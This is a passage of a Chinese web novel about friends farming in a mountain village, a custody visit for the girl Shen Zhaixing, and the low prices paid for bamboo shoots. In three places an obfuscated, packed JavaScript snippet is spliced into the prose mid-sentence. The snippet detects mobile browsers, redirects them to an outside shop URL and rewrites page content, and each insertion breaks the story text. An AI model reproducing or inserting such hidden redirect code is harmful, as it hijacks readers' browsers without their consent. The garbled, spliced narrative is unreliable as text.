傅拭雪正将砂锅盖掀开,浓郁的肉香混合着酱香蒸汽“噗”地一下升腾起来。 他闻言,沉吟了一下,看着桌上丰盛的源自土地的菜肴,又看看围坐在一起的伙伴们。 再看看围坐的伙伴们。 李乘歌,曾离开又回归,眼里多了坚韧。 夏叙言,从繁华中抽身,在此处找到踏实。 沈摘星,刚刚挣脱泥沼,眼神里还有不安,却也藏着新生的光。 然后自己,他也慢慢在这片土地上慢慢找回自己,抛去京圈太子爷的身份,他也是傅拭雪,他没有变成任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310823|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,他还是自己。 他心头微动,提议道,“看点和农业相关的吧?纪录片或者综艺都行。咱们吃着地里的菜,看着别人怎么种地、怎么生活,兴许能有点启发,也能学习学习。不是说要把地种好么?” “诶!这个提议好!”夏叙言眼睛一亮,立刻在投影仪的片库里快速搜索起来,“农业相关……我想想……啊,有了!《种地吧》怎么样?我听说这综艺特别火,拍得跟纪录片似的真实,一帮年轻人真刀真枪地下地干活,从零开始,什么苦都吃了。” 他一边翻看着简介和评价,一边兴致勃勃地补充,“对了,我记得前阵子看新闻,说这节目还拿了什么2025北京电视文艺创新推优40年岁月典藏电视节目的奖项呢!品质肯定有保障。” “《种地吧》?我好像也听说过。”李乘歌闻言,凑近了些,脸上露出感兴趣的神色,“是不是就是那个十个年轻人,住在一个地方,真的租了一大片地,从播种、管理到收获,全程自己动手干的?” “对对对!就是那个!”夏叙言找到了节目页面,兴奋地指给她看,“你看这海报,多接地气!听说他们真种出了小麦,还养了羊,搞了基建,跟咱们现在干的差不多,就是规模更大,人也更多。” 沈摘星也悄悄抬起头,好奇地望向亮起的幕布。 对她而言,以前的生活里只有看不到头的农活、做不完的家务和挥之不去的恐惧,电视是奢侈品,更别说看这种一群年轻人热火朝天充满希望地种地的节目了。 屏幕上那些年轻的脸庞和田野的画面,对她来说既陌生又隐隐有些向往。 “好嘞!那就《种地吧》第一季,走起!”夏叙言按下播放键。 欢快而充满朝气的片头音乐瞬间响起,充满青春活力的画面和一张张年轻、带着汗水和笑容的面孔充满了整个幕布。 片头快速闪过他们开荒、播种、施肥、收割、庆祝的场景,一下子就把人的注意力抓住了。 就在这时,傅拭雪正好将砂锅里那慢火细炖了一个多小时的红烧猪蹄完全展现在众人面前。 油亮红棕的色泽,浓郁的酱香混合着肉香,比刚才更加霸道地扑面而来。卤汁浓稠得几乎挂壁,均匀地包裹着每一块肥瘦相间的蹄髈,在灯笼的光晕下泛着令人垂涎的光泽。 “咕噜——” 一声清晰无比来自生理本能的抗议声,在节目激昂的片头音乐和旁白声中,显得格外突兀而诚实。 所有人的目光,包括正被节目片头吸引的沈摘星,都不由自主地循声望去。 夏叙言下意识地捂住了自己的肚子,脸上瞬间堆起不好意思的憨笑,耳朵尖都有点红了,“那个……嘿嘿,我饿了。这猪蹄……看着也太香了,我没忍住……” 小小的插曲让大家都笑了起来,刚才略显严肃地选择节目的气氛一下子轻松活泼起来。 傅拭雪眼中也带着笑意,拿起公筷,先给这位“最诚实”的食客夹了一块最是软糯肥美的蹄髈,稳稳放在他碗里。 “饿了就快吃,别光看着。”傅拭雪招呼大家,“都动筷吧,尝尝味道。有什么建议也尽管提,下次改进。” “谢谢傅大厨!那我可就不客气了!”夏叙言双手捧起碗,不再犹豫,低头小心翼翼地咬了一口。 猪皮软糯弹牙,入口即化,内里的瘦肉早已炖得酥烂,却丝毫不柴,浓郁的酱汁味道深深渗透进每一丝肉纤维中,咸香中带着一丝冰糖的甘甜回润,还有香料隐约的复合香气。 恰到好处的油脂感被葱花的清新巧妙中和,香而不腻,让人一口接一口,根本停不下来。 夏叙言鼓着塞得满满当当的腮帮子,幸福得眼睛都眯成了两条缝,一边努力咀嚼,一边忙不迭地对着傅拭雪用力竖起大拇指,含糊不清却情绪饱满地赞叹,“嗯嗯嗯!好吃!绝了!” 李乘歌笑着摇摇头,目光从夏叙言满足的脸上移开,拿起汤勺,给身旁的沈摘星碗里又多添了一勺奶白色的腌笃鲜汤,汤里带着腊肉、鲜笋和莴笋。 “摘星,多喝点汤,这个最养胃,也暖和。”李乘歌语气温柔。 沈摘星连忙双手捧过自己的小碗,接住那一勺暖意,眼睫轻轻颤动了一下,小声而认真地说,“谢谢乘歌姐。” 她舀起一勺,吹了吹气,小心地送入口中。 汤汁温润醇厚,入口是咸肉经过时间沉淀的咸鲜,立刻被鲜笋那股来自山野的清甜中和,莴笋的脆嫩带来清爽的口感,百叶结吸足了汤汁的精华,软糯入味。没有过多复杂的调味,仅仅依靠食材本身的原味和火候的功夫,便融合出如此和谐鲜美的滋味。 一口热汤缓缓咽下,仿佛一条温暖的小溪,从喉咙一路顺畅地流进胃里,瞬间驱散了春夜空气里残留的寒意。 她细细品味着,然后抬起头,对李乘歌和傅拭星露出一个乖巧又满足的笑容,认真地点评,“很好喝。特别……暖和。” 春夜的山村,院墙外偶尔还有料峭的寒风贴着地面掠过,发出轻微的呼啸。但在这方小小的院落里,围着石桌,炖着暖汤,身边是说着笑着的伙伴,那寒风便被牢牢地挡在了外面,伤不到他们分毫。 一锅热汤,几道家常菜,围坐的几个人,便暖暖地护住了这一隅天地,也护住了彼此心里那点珍贵的暖意。 腌笃鲜的“笃”,是吴语里小火慢炖的拟声词①,正藏着这片土地上人们骨子里的那份从容与耐心。 不急不躁,用时间和火候,静静地等待,等待时光将最普通的食材,赋予最美好的滋味。 幕布上的年轻人在田地里挥洒汗水,为了一个共同的“种好地”的目标努力。 屏幕前的现实—— 同样也有更多的人在为了“种好地”的目标而努力。 小院里,四人围坐,白色的小狗米饭不知何时将自己软软的垫子拖到了沈摘星的脚边,蜷起毛茸茸的身子,下巴搁在前爪上,安静地趴在那里,偶尔懒洋洋地摇一下尾巴,黑亮的眼睛一会儿看看屏幕,一会儿看看吃饭的大家。 月光如水银泻地,温柔无声地笼罩着村庄和田野。 一盏盏傅拭雪特意挑选的的仿古灯笼,在屋檐下渐次亮起,晕开一圈圈温暖而朦胧的光晕,柔和地照亮了院子的每一个角落,驱散了黑暗,只留下温馨与宁静 岁月静好,不过如此。 只是下一秒—— “嘀嘀。” 一声清脆的手机通知音,打破了这份温馨的宁静。 是李乘歌的手机。 她放下筷子,拿起放在一旁的手机,屏幕亮起,微信页面上跳出一条新的好友申请提示。 点开,申请备注里清晰地写着—— 「乘歌,我是村委会的汪小雅。关于沈摘星小朋友的事情,我们想和你详细沟通一下,方便的话请通过一下好友申请。」 15. 查勘 李乘歌盯着手机屏幕上那条好友申请提示看了几秒,指尖在屏幕上悬停片刻。 她没有立刻做决定,而是将手机递到了身旁的沈摘星面前,声音放得轻缓而温和。 “摘星,你看。村委会的汪阿姨,想和我们聊聊关于你的事情。”她看着沈摘星的眼睛,将选择权完全交给她,“这件事,你做主。” 沈摘星闻言,身体微微绷紧了一些。 她垂下眼眸,目光沉沉地落在那条消息上,眼神里有迟疑,有不安。 李乘歌则在说完话后便低头小口喝着汤,夏叙言正与一个酱香浓郁的大猪蹄奋战,傅拭雪则耐心地将碗里白灼大虾的壳褪去,粉白的虾肉整齐放在一旁干净的碟子里,那是给沈摘星准备的。 他们只是在她看手机时,不经意地投来过一瞥关切的目光,随即又很自然地移开,继续专注于眼前的食物或是幕布上的节目。 没有审视,没有催促,更没有替她做决定。 他们用最自然的姿态,给予了沈摘星此刻最需要的尊重和思考空间。 沈摘星沉默了片刻,指尖在冰凉的手机屏幕上轻轻悬停,呼吸也放轻了。 她能感觉到,尽管大家的目光没有聚焦在她身上,但那种默默的支持和守护,像暖流一样包裹着她。 最终,她的指尖落下,轻轻点下了那个绿色的“通过”按钮。 - 次日,天气晴好。 冬日的暖阳努力驱散着空气里残留的寒意,将小院晒得暖融融的。 临近中午,三辆颜色各异的电瓶车整齐地停在了小院外的空地上。 汪小雅摘下头盔挂在车把上,理了理被风吹得有些凌乱的短发,深吸了一口气,调整了一下表情,走到虚掩的院门前,抬手轻叩。 “叩叩——” “你好,请问有人在家吗?” 话音刚落,院门就被从里面拉开了。 站在门后的,正是沈摘星。 小姑娘今天穿了一件干净的旧棉袄,头发梳得整整齐齐。她抬着头,目光清亮而直接地看着门外的人,那眼神里少了之前的畏缩和恐惧,多了努力维持的镇定,虽然还有些拘谨。 “汪阿姨好。”她认得汪小雅,低声打招呼。 “摘星小朋友,你好呀。”汪小雅俯下身,让自己的视线与她平齐,语气尽量放得轻柔,“家里就你一个人在吗?” “不是。”沈摘星摇了摇头,她侧过身,将大门完全推开,让出院内的景象。 院中,傅拭雪正将一竹篮金黄饱满的蒸玉米端出来,依次摆放在铺着靛蓝色印花粗布的石桌上。李乘歌提着棕褐色的陶制茶壶,水流如线,带着蒸腾的热气,缓缓注入几个素白的瓷杯,清新的茶香立刻弥漫开来。夏叙言则在认真地将切好的水果摆盘,力求每一块都放在最合适的位置。 沈摘星站在门口,阳光洒在她身上,她微微扬起嘴角,对门外的访客露出了一个明朗而带着点小骄傲的笑容,声音清晰地说,“家里人,全都在呢。” 见几位大人都确实在家,汪小雅和同行的两位女士交换了一个眼神,心下稍安。 她们拿着文件袋走进院子,一边走一边客气地寒暄,“今天真是打扰你们了。” “汪姨哪里的话,不打扰。摘星的事情,还要劳烦你们多费心。”李乘歌放下茶壶,双手将一杯热茶奉到汪小雅面前,姿态自然又不失礼数,“天气冷,喝杯热茶,暖暖身子。” 汪小雅和两位同伴接过茶杯,连声道谢。 李乘歌走回沈摘星身边,手臂自然而然地带着保护意味地虚拢在她的肩膀上,对着三位来访者温和一笑,“就当自己家一样,别客气,坐下说话。” 一杯温热醇厚的茶水下肚,一路骑车被冷风吹得有些僵硬的身体,确实感受到一股暖意缓缓回流。 汪小雅放下茶杯,神色也正式了几分。她打开带来的文件夹,朝李乘歌和沈摘星招了招手,“乘歌,摘星,来,我给你们介绍一下。” 她拉过两人的手,郑重地指向身后的两位女士,“这两位是市里专门为了摘星小朋友的事情过来的同志。” “这位,是市妇女权益保护中心的法律援助律师,苏律师。”汪小雅指向一位年近五十左右,穿着得体米色套裙气质娴静端庄的女士。 苏律师一直含着温和煦暖的微笑倾听,此刻优雅地站起身,伸出手,声音柔和悦耳,“你们好。” 李乘歌和沈摘星连忙与她握手,触手温暖。 “这位,是市公安局人口管理支队的冉队长。”汪小雅又指向另一位穿着便装身形挺拔,眼神锐利中带着爽朗的女性。 “你们好!”冉队长的性格显然更加直接豪迈,主动开口,声音洪亮有力,无形中驱散了一些现场因正式场合带来的局促感。但在豪迈的外表下,是职业赋予的敏锐观察力。 从进小院开始,她的目光就不着痕迹地扫过院子里的每一处细节:整洁的菜畦,墙角充满生活情趣的旧陶罐和多肉植物,石桌上清供的红梅,屋檐下晾晒的玉米和干辣椒,还有那只趴在沈摘星脚边懒洋洋晒太阳的小白狗。 这个小院不算大,但处处透露着主人对生活的用心和热爱,充满了踏实温暖的烟火气与人情味。 表面看来,这是一个对孩子而言非常不错的居住环境。但冉队长深知,评估一个家庭是否真正适合抚养一个孩子,远不止看这些。 她放下茶杯,目光坦诚地看向李乘歌和傅拭雪,“方便的话,可以带我去看看沈摘星小朋友现在居住的房间吗?我们想全面了解一下孩子的生活环境。” “当然可以,这边请。”李乘歌起身带路,沈摘星也默默地跟在一旁。 沈摘星的房间,其实就是李乘歌的房间,现在摆了两张单人床。 冉队长站在房门口,并没有贸然进入,只是目光温和地打量着内部。 房间收拾得整洁明亮,窗户擦得干干净净。墙角有一个不大的衣柜,两张床上铺着干净温暖的碎花床单和棉被,靠窗的书桌上整齐地码放着沈摘星的课本和几本李乘歌给她买的课外书,还有一个夏叙言用边角料给她刻的小木马摆件,窗台上是傅拭雪送的一盆胖嘟嘟的多肉。 虽然陈设简单,但处处都能看出被精心打理和照料的痕迹,充满了生活的气息和属于孩子的物品。 “房间很好,很干净,也很温馨。”冉队长点点头,脸上露出赞许的神色,心里已经有了初步的积极判断。 回到石桌旁,大家重新落座。 简单寒暄后,李乘歌直接将话题引向了核心,她的声音平稳,眼神认真,“汪阿姨,苏律师,冉队长,我们都很关心摘星的未来。有几个问题,想向您几位请教。” “这场官司如果打下去,摘星彻底脱离那个家庭,成功的概率有多大?” “如果官司赢了,她的父母以后还能通过什么途径或理由,再拿回抚养权吗?” “还有最关键的是,摘星现在还未成年。如果成功脱离原生家庭,后续的抚养人问题,你们是如何考虑的?我们……是否有机会?” 苏律师接过话茬,她的声音依旧温和,但条理清晰,带着法律工作者特有的专业和严谨。 “首先,关于成功概率。根据我们目前收集到的证据,包括学校老师、同学、村委会的证言,摘星过去就医的记录,以及警方初步调查的情况都足以证明其原生家庭存在长期的忽视、精神虐待以及企图进行侵害等严重问题。” “这些情况,完全符合法律规定的变更抚养权的条件。所以,从专业角度判断,成功的概率非常大。” 她顿了顿,继续解释,“其次,一旦法院判决变更抚养权,除非未来有充分证据证明新的抚养人出现了严重不适格、损害被监护人利益的行为,否则其亲生父母很难再通过法律途径要回抚养权。法律会优先保护最有利于孩子健康成长的环境。” “最后,关于新的抚养人。”苏律师的目光温和地扫过李乘歌傅拭雪,又看了看旁边的夏叙言,“这需要经过民政部门和我们相关机构的严格评估。评估不仅包括经济能力、稳定的住所、良好的社区环境等硬件条件,更重要的是考察抚养人与孩子的情感联结、抚养人的品行、是否有足够的时间和耐心陪伴教育孩子,以及是否能为孩子提供一个充满关爱、尊重和安全的成长环境。” 这时,一直安静坐在李乘歌身边低着头听大人们说话的沈摘星,忽然抬起头。 她的小手在桌子下紧紧攥着李乘歌的衣角,声音不大,甚至还有些发颤,却异常清晰。 “我……我想和他们在一起。”她抬起湿润的眼睛,依次看过李乘歌、傅拭雪和夏叙言,最后看向几位来访者,一字一句地说,“在这里……我……我才感觉,自己是个人。” 这句话,不重,却像一块石头投入平静的水面,在每个人心里都激起了层层涟漪。 苏律师和冉队长对视一眼,都从对方眼中看到了深深的动容和了然。 孩子的意愿,尤其是这种发自内心的对安全和归属感的渴望,在抚养权评估中,分量极重。 傅拭雪将苏律师和冉队长送到镇上乘车点后,刚准备返回,手机便震动了一下。 是之前联系的土壤检测机构发来的消息,通知他报告已经完成,可以随时去取。 正好顺路,傅拭雪便调转车头,去检测站取回了那份期待已久的土壤检测报告。 回到小院,他将一个牛皮纸文件袋递给正在整理菜畦的李乘歌,“报告拿到了。” 李乘歌放下手里的小铲子,拍了拍手上的土,有些急切地接过文件袋,抽出里面厚厚一沓报告,站在阳光下仔细翻阅起来。 她的目光快速扫过各项数据指标,紧蹙的眉头随着阅读的深入,一点点舒展开来,最后嘴角甚至扬起了一个如释重负的弧度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310824|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “整体来看,问题不大!”她的声音里带着明显的轻松和喜悦,“土壤中的氮磷钾含量适中,有机质含量也不错,最关键的重金属和污染物含量,都远远低于国家标准限值。” 她抬起头,眼睛亮晶晶地看向傅拭雪和凑过来的夏叙言,“这意味着,我们之前设想的种植计划,在土壤基础这块,没有大障碍,可以直接推进!” “我没意见。”傅拭雪颔首,目光还落在报告末尾的酸碱度数值上,指尖轻点,“酸碱度也正合适,微酸性,适合大多数作物。” 夏叙言刚啃完一个香甜的蒸玉米,满足地咂咂嘴,把光秃秃的玉米芯以一个漂亮的弧线精准投进远处的簸箕里,“同意!就等着吃上咱自家种的葡萄了!到时候吃不完,咱还能试着酿点葡萄酒……” 李乘歌被他逗笑,合上报告,眉宇间是彻底舒展开的期待和干劲,“既然大家都没意见,那我晚点就去联系之前看好的那几个苗圃卖家,争取挑些品种好、健壮的苗回来。” 她仿佛已经看到嫩绿的葡萄藤顺着架子攀爬,郁郁葱葱,挂满果实的景象。 看着李乘歌将报告放好,提着水桶脚步轻快地走向沈摘星,夏叙言脸上的嬉笑渐渐收敛了些。 他走到傅拭雪身边,声音压低了些,带着一丝不易察觉的凝重,“拭雪,我爸上午来了个电话。” 傅拭雪正在俯身除田畦上的杂草,闻言动作未停,只是“嗯?”了一声,表示在听。 “我爸上午来电话,说最近宋鹤眠一直往傅家跑,几乎成了傅家的座上宾。”夏叙言顿了顿,观察着傅拭雪的反应,但对方只是专注地看着菜地,侧脸平静。 “这宋家千金,我没记错的话,应该是傅氏给你看中的联姻对象吧?”夏叙言用胳膊肘碰了碰傅拭雪,语气里调侃少了,多了几分认真,“若你这傅家少爷的身份没变的话,今年你俩该见面了。看这架势,快的话,可能连婚都订了呢。” 傅拭雪将最后一戳杂草拔掉后直起身,他拍了拍手上的灰,侧头睨了夏叙言一眼,声音平静得听不出什么情绪,甚至带着点调侃。 “看来让你在这儿种地,确实是屈才了。你这编排故事的能力,不去写点豪门恩怨、爱恨情仇的话本子,真是文坛的一大损失。” 夏叙言被他噎了一下,有些不自在地摸了摸鼻子,捡起地上的一把小锄头在手里无意识地转着,试图恢复平时的语气,“我?我就是个地里刨食的农民,不写书,只关心粮食和蔬菜,还有咱这片地。” 但他紧握锄柄的手透露了内心的不平静。 他清楚,有些风暴,并非空穴来风。 他下意识摸了摸口袋里的手机,屏幕上一条来自傅家二少的消息。 「傅砚修:周四到。」 夏叙言看了一眼,迅速按熄屏幕,心头像是突然被压上了一块沉甸甸的石头,有些喘不过气。 周四。 就是后天。 那个对傅拭雪而言,表面上是弟弟,情感上却几乎算是陌生人,甚至在某种程度上取代了傅拭雪在傅家地位的弟弟,就要来了。 地址,是他给的。 这件事,他瞒着傅拭雪。 夏叙言心中忐忑不安,他走到正蹲下身,用手指捻起一小撮土壤,放在鼻尖轻嗅的傅拭雪身边。 酝酿了许久,他才开口,“拭雪,如果有一天,我瞒着你做了一件事。一件……你可能不会同意,甚至可能会生气会怪我的事。” “但是我做的时候,是真的觉得,那或许对大家都好,至少是试着想找到一个对大家都好的可能……” 他顿了顿,喉结滚动,看向傅拭雪。 对方已经停下了手上的动作,正抬头望着他,那双总是温润平和的眼睛,此刻深邃得仿佛能洞悉人心深处最细微的波动。 夏叙言几乎被那目光看得无所遁形,声音干涩地吐出了最后那个问题,“你会……原谅我吗?” 傅拭雪没有立刻回答。 他缓缓站起身,拍了拍手上沾着的泥土碎屑,目光掠过夏叙言写满不安和挣扎的脸庞,又望向不远处李乘歌正带着沈摘星在给刚冒出嫩芽的菜苗浇水,一大一小两个身影蹲在一起,阳光给她们镀上一层毛茸茸的金边,沈摘星偶尔抬头说句什么,然后两人对视一笑,脸颊上是放松随性的笑。 环视一圈后他的视线重新落回夏叙言身上,目光里有着一丝了然,或许还有一点连他自己都未曾完全厘清的情绪。 最终,所有这些复杂的情绪都化为一声几乎散在风里的叹息。 “那要看你瞒的……到底是什么事。”傅拭雪开口,声音低沉平缓,听不出喜怒。 他顿了顿,补充了一句,“以及,你所谓的‘为你好’……或者‘为大家都好’,最终带来的,究竟是什么。” “我知道了。”夏叙言垂眸。 对话在两人的沉默中过去,傅拭雪走进屋内。 16. 卖笋 入春多雨,春雨连绵,本来回暖的天气又降了温。 这一下就是好几日,细雨最终在几日后的黎明前停了,留下满山湿漉漉的绿意。 李家伯母趁着山雾还未完全散开,便又背起了那个磨得发亮的旧竹篓上了山。 回来时,裤脚和胶鞋上沾满了新鲜的泥泞,竹篓里则满满当当地装着刚刚破土的鲜嫩春笋。 她利落地坐在院坝里的小凳上开始分拣,小院静悄悄的,只有屋檐水偶尔滴落在石阶上的轻响。 李家伯母直起有些酸软的腰,抬手用手背拭去额角细密的汗。 她抬眸看向对面小院,李乘歌正踮着脚,将洗净的衣物一件件抖开,晾晒在院角的竹竿上,湿润的棉布在晨风里微微晃动,带着皂荚清爽的气息。 傅拭雪蹲在那辆半旧的皮卡旁,手里拿着工具,正仔细检查轮胎和底盘,沾了机油的手指在金属部件间灵活移动,侧脸专注。 屋内传来年轻人清朗而耐心的讲课声,光线透过洁净的玻璃窗,洒在铺着蓝印花布的书桌上。 夏叙言坐在沈摘星旁边,他今天穿了一件简单的灰色卫衣,袖口挽起一截,露出清瘦的手腕,手里拿着一支水性笔,笔尖正轻轻点着摊开的数学习题册,圈画出关键步骤。 他的声音不高,语速平缓,却字字清晰,“所以,这个函数在这里的连续性,不能只看一点,要讨论它在整个定义区间上的性质。你看,当x趋近于这个临界值时,左极限和右极限是否相等,是判断的关键。” 沈摘星微微蹙着秀气的眉毛,目光紧紧追随着夏叙言的笔尖,听得十分认真,另一只手下意识地转着另一支笔,偶尔会轻轻点头。 但当夏叙言停下来,用询问的目光看向她,等待她反馈时,她眼中又会闪过一丝不确定的迷茫。 “我……大概明白了这个思路,”沈摘星犹豫着,声音细细的,“但是……当我自己动笔写解题过程的时候,总是担心会漏掉某个条件,或者推理的步骤不够严谨。” “这很正常,尤其是刚开始接触这种证明题的时候。”夏叙言语气温和,没有丝毫的不耐烦,脸上甚至带着鼓励的笑意。 他抽过一张干净的草稿纸,边说边重新写,“我们一步步来,不用急。首先,把题目里明确给出的已知条件,一条条列清楚。” “然后,回想我们学过的跟这些条件相关的定理和判定方法有哪些。最后,就像搭积木一样,用逻辑把这些条件和定理一块块搭建起来,形成完整的推理链条。” 他顿了顿,看向沈摘星,“你觉得会漏条件,有时候是因为思路太快,或者对某个定理成立的前提条件不够敏感。” “来,我们试着从最基础的开始,重新推一遍。慢一点没关系,关键是每一步都要清楚为什么。” 此刻的夏叙言,和平时的他真的很不一样。 讲解时,他会不时观察沈摘星的表情,判断她是否跟上了节奏,眼神是否还有疑惑。 遇到抽象难懂的概念,他会尝试用更生活化更形象的比喻来解释,比如把函数图像的起伏比作山路的坡度变化,把极限这个概念比作无限接近某个目标但未必真正到达的过程。 屋里很安静,只有笔尖在纸面上划过的沙沙声,以及夏叙言清晰而耐心的讲解声,构成了一个专注而温馨的学习空间。 阳光穿过逐渐稀薄的雾气,斜斜地照进小院,几只早起的鸡在篱笆边悠闲踱步,啄食着草叶上的露珠。灶间隐约传来粥饭将熟的温吞香气,混着泥土和竹笋的清新,氤氲成一片寻常却安稳的烟火气。 李家伯母灵巧地剥开几层带泥的笋壳,露出嫩黄如玉的笋肉,最肥壮的那几支被她单独放在竹篮里,抬头对李乘歌和傅拭雪招呼道,“乘歌,拭雪,这些刚破土的黄泥拱最鲜甜,你们拿回去炖汤。剩下的帮我再送一次卫建国家。” 傅拭雪已经擦干净了手上的机油,闻言走过来,接过那筐还带着泥土清香的鲜笋,入手沉甸甸的。 他看着竹篮里那几支顶尖的好笋,又看了看二伯母被笋壳边缘磨得有些发红的手指,忍不住问了一句,“二伯母,镇上……除了卫建国,就没有其他人收笋了吗?或者,有没有那种价格稍微好一点的收购点?” 二伯母闻言,脸上的笑容淡了些,摇了摇头,叹了口气,“没有了。就他这儿收得最多,也最固定。其他零零散散来收的,价格也差不多,有时候还挑三拣四。建国这儿……好歹是熟人,不会太坑。” 傅拭雪沉默地点了点头,没再说什么,只是默默地将剩下的笋开始往皮卡车的后斗里搬。 他知道,再问下去,也只是让长辈心里更不好受。 出发前,李乘歌找来一大块干净的湿布,仔细盖在车斗里的笋堆上,又用小喷壶均匀地洒了些清水,“这样能保持点湿度,送到的时候看着还能新鲜些。” 皮卡车沿着湿滑的山路缓缓行驶,轮胎碾过积水的路面发出细碎的声响。车斗里的春笋随着颠簸轻轻颤动,偶尔有一两颗水珠从笋尖滚落。 傅拭雪摇下车窗,山风带着雨后竹林特有的清冽扑面而来,混着泥土和植物根茎断裂后的鲜涩气息。他深吸了一口这熟悉的空气,目光掠过窗外飞速后退的连绵竹海。 车驶过一道缓弯,轮下溅起细小的水花。他关上车窗,将山风的喧嚣隔绝在外,车内顿时安静下来,只余引擎低沉的嗡鸣。 “我去村里和镇上打听了一圈。”李乘歌望着窗外不断流动的绿色,声音有些发闷,打破了车内的寂静,“卫建国今年开出的收购价……比去年又低了两毛。就算是二伯母挖的这种顶好的黄泥拱,在他那里,和普通的毛笋差价也不大。” 傅拭雪握着方向盘的手指紧了紧,目光依旧看着前方湿滑的路面。 李乘歌继续说,“他说外面市场都这样,我们山路远,运输损耗大,压价是必然的。” “必然……”李乘歌轻轻重复着这个词,视线落在车斗里那些沾着水珠的嫩黄笋尖上,“二伯母天不亮就上山,踩着湿泥,一棵棵寻摸,手指都被笋壳磨得红肿。” “这必然的价,连她那份辛苦都对不起。” 傅拭雪沉默着。 他知道李乘歌说得对。 这不仅仅是钱的问题,是那份沉甸甸的劳动被轻贱了。 他当然可以直接掏钱,以更高的价格买下二伯母、甚至村里所有乡亲的笋。 但这无异于饮鸩止渴,治标不治本。 他不可能永远在这里,他的财力也终有耗尽的一天。 杯水车薪,改变不了整个链条的畸形现状。 一种沉重而熟悉的无力感,在这狭小的驾驶室里弥漫开来,比窗外尚未散尽的山雾更加浓郁,压得人胸口发闷。 之后的路程,两人都没再说话,只有引擎声和车轮碾过路面的声音作伴。 皮卡车在略显压抑的寂静中,驶入了下村,停在了卫建国家那栋二层小楼前。 院坝里已经堆了不少笋,空气里弥漫着泥土和植物根茎断裂后的浓重生涩气。 卫建国依旧是那副爽利的样子,笑着迎出来,爬上车便熟练地翻看起他们车斗里的笋。 “乘歌,拭雪,又麻烦你们跑一趟。”他捏开一支黄泥拱的根部,露出里面嫩得几乎透明的笋肉,语气里带上了一丝惋惜和无奈,“不是我拍马屁,说真的李婶挖笋的手艺,还有她找笋的眼光,确实是咱村里头一份的好。这黄泥拱,品相没得挑。” 他话锋一转,脸上露出苦涩,“可今年外头的市场行情,唉,你们也知道。运费涨了,路上的损耗也大,到了大市场的批发商那里,还要被再压一道价,一层层盘剥下来,到我这儿,也实在是腾挪不开了。价格……恐怕还是只能按我之前说的那个来,你们看……” 他报出一个意料之中却依旧让人心头发涩的数字。 没有争辩,也没有讨价还价。 傅拭雪和李乘歌对视一眼,默契地开始卸货,将那一筐筐鲜笋,搬到院坝里指定的角落。 动作间,只有竹篓摩擦发出的沙沙声,以及彼此有些沉闷的呼吸声。 他们接过那叠比笋肉轻薄太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310825|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的钞票,指尖仿佛能感受到二伯母那份被折扣掉的辛劳。 正当他们准备转身离开时,一颗细长翠绿的斑竹笋,从堆放的边缘滑落,圆溜溜地滚到了李乘歌的脚边。 “小姑娘,我的笋跑你那里去了,能帮我捡一下吗?” 一道略带沙哑却很温和的声音在李乘歌身后不远处响起。 李乘歌和傅拭雪闻声同时回头望去。 说话的是个坐在轮椅上的妇人,看起来四十多岁,头发梳得整齐,脸上带着温和的笑意,正是卫建国的妻子,村里人都叫她阿桂姐。 李乘歌弯腰拾起那颗滚落脚边的斑竹笋。她依言走向阿桂姐,正准备将笋递还,目光却不由得被她身前的景象吸引住。 阿桂姐的膝盖上盖着一块素色的薄毯,毯子一角,用绳子固定着一个看起来有些简陋甚至像是自制的手机支架。 支架上的手机屏幕亮着,显示的赫然是一个直播间的界面。 然而,那个在线观看人数的显示栏里,数字孤零零地跳动着,长期停留在个位数,此刻正显示着刺眼的“2”。 屏幕下方的评论区几乎一片死寂,只有零星一两条系统推送的提醒消息快速滑过,连个点赞的图标都少见。 但阿桂姐似乎并未在意无人观看的冷清,她依旧微微倾身,对着手机镜头,用那沙哑却努力保持清晰的声音,认真地介绍着,“大家看,这就是我们山里刚刚挖回来的斑竹笋,特别清甜,生吃都有一股子脆嫩劲儿……” 她的手指小心地抚过笋壳上那些天然的褐色斑点,动作轻柔,眼神里充满了对自家山货的自豪。 看到李乘歌走过来,阿桂姐暂停了讲述,抬头对她温和地笑了笑,接过那颗斑竹笋,低声道了句,“谢谢你啊,姑娘。” 李乘歌注意到,她手机的充电线连着轮椅扶手上挂着的一个老旧充电宝。 阿桂姐很快又回到她的直播间,继续对着那几乎不存在的观众,轻声细语地介绍,“都是乡亲们天不亮就上山,一棵棵挖回来的,还带着山里的露水呢……” 她的声音在空旷的院坝里显得有些单薄,甚至能听到一点点回声。 傅拭雪将直播间清冷的画面收观眼底,就两人吗? 这是在直播卖货? 那近乎为零的在线人数,与妇人认真投入的神情形成了鲜明而强烈的对比,让人心里说不出是什么滋味。 